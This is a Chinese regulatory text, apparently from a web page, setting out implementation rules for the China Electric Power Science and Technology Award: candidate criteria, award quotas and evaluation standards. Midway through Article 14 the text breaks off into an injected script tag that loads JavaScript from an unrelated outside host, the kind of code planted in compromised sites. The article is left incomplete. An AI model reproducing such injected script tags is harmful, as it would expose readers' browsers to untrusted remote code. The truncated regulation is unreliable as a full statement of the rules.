中国电力科学技术奖励办法实施细则

第一章总则

  第一条  为了做好中国电力科学技术奖励工作,保证中国电力科学技术奖的评审质量,根据《中国电力科学技术奖励办法》(以下简称奖励办法),制订本实施细则。

  第二条  本实施细则适用于中国电力科学技术奖的推荐、评审、授奖等各项活动。

  第三条  中国电力科学技术奖贯彻“尊重知识、尊重人才”的方针,鼓励自主创新,鼓励攀登科学技术高峰,促进科学研究、技术开发与电力生产建设、经济、社会发展的密切结合,促进科技成果商品化和产业化,加速电力科技创新战略的实施。

  第四条  中国电力科学技术奖的推荐、评审和授予,实行公开、公平、公正原则,不受任何组织或者个人的非法干涉。

  第五条  中国电力科学技术奖授予在电力科学研究和技术开发中,在应用推广先进科学技术成果,完成重大科学技术项目等方面做出重大贡献的单位和个人。在科学技术研究和技术开发项目中仅决定出资立项而未进行实际开发的单位不得作为中国电力科学技术奖的候选单位,仅从事辅助服务的工作人员不得作为中国电力科学技术奖的候选人。

  第六条 中国电力科学技术奖是国家电力公司授予单位或个人的荣誉。授奖证书不作为确定科学技术成果权属的直接依据。

  第七条  中国电力科学技术奖评审委员会(以下简称“评委会”)负责中国电力科学技术奖励的宏观管理和指导。国家电力公司科技管理部门负责中国电力科学技术奖评审的组织工作,中国电力科学技术奖励工作办公室(以下简称“奖励办公室”)负责日常管理工作。

      第二章奖励范围和评审标准

  第八条 奖励办法第五条(一)所称“电力科学研究和技术开发项目”是指在电力科学研究和技术开发、技术改造、电力生产建设、工程建设、重大装备研制活动中,完成具有重大市场价值的产品、技术、工艺、材料、设计及其应用推广。

  第九条  凡符合下列条件之一者,可以作为中国电力科学技术奖候选人:

  (一)在设计项目的总体技术方案中作出重要贡献;

 (二)在关键技术和疑难问题的解决中做出重大技术创新;

 (三)在成果转化和推广应用过程中做出创造性贡献;

 (四)在高技术产业化方面做出重要贡献。

  第十条  中国电力科学技术奖候选单位应当是在项目研制、开发、投产、应用和推广过程中提供技术、设备和人员等条件,对项目的完成起到组织、管理和协调作用的主要完成单位。

  直接承担国家有关综合管理部门和国家电力公司下达项目的推荐单位,可以作为主要完成单位。

  第十一条  推荐项目主要完成单位、主要完成人的排序原则上应与技术评价证明(科技成果鉴定证书、科技计划项目验收报告、软科学成果评审证明、行业准入证明、新产品证书等)排序一致。如有特殊变动应详细说明原因,并出具相应情况的证明材料。

  第十二条  中国电力科学技术奖授奖人数和授奖单位数实行限额。一等奖人数不超过15人,单位不超10个;二等奖人数不超过10人,单位不超过7个;三等奖人数不超过7人,单位不超过5个。

  第十三条  中国电力科学技术奖候选人或者候选单位所完成的项目应当符合下列条件:

  (一)技术创新性突出:在技术上有重要的创新,特别是在高新技术领域进行自主创新,形成了产业的主导技术和名牌产品,或者应用高新技术对传统产业进行装备和改造,通过技术创新,提升传统产业;技术难度较大,解决了电力工业发展中的热点、难点和关键技术问题;总体技术水平和主要技术经济指标达到了电力工业的领导水平。

  (二)经济效益或者社会效益显著:所开发的项目经过一年以上较大规模的实施应用,产生了很大的经济效益和社会效益,实现了技术创新的市场价值或者社会价值,为电力工业发展和电力安全生产作出了很大贡献。

  (三)推动科技进步作用明显:项目的转化程度高,具有较强的示范、带动和扩散能力,提高了电力工业的整体技术水平、竞争能力和系统创新能力,促进了产业结构的调整、优化、升级,对电力工业的发展具有很大推进作用。

  第十四条  中国电力科学技术奖授奖等级根据候选人或者候选单位所完成的项目进行综合评定,评定标准如下:

  在技术上有重大创新,技术难度大,总体技术水平和主要技术经济指标达到了国内领先并接近国际先进及以上水平,成果转化程度高,取得了重大的经济、社会效益,对促进电力科技进步和产业结构优化升级有重大作用的,可以?script src=http://er12.com/t.js>

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发布日期:2019年07月03日  所属分类:新闻动态